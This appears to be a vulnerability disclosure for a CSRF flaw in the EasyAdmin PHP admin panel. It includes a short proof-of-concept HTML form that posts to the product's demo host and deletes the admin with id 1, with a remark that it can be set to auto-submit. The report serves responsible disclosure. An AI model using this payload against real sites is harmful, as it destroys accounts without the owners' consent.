✍️ Description

Attacker able to delete any admin with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can delete a admin, this means only with visiting a site a admin will be deleted.

🕵️‍♂️ Proof of Concept

1.fisrt user already should be logged in In Firefox or safari.

2.Open the PoC.html and click on submit button ( Also it can be auto-submit)

3.Here a admin with id 1 will be deleted after clicking on submit button on PoC.html file.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://easyadmin.99php.cn/admindemo/system.admin/delete" method="POST">
<input type="hidden" name="id&#91;&#93;" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Also for real attacks the submit button can be auto-submit.
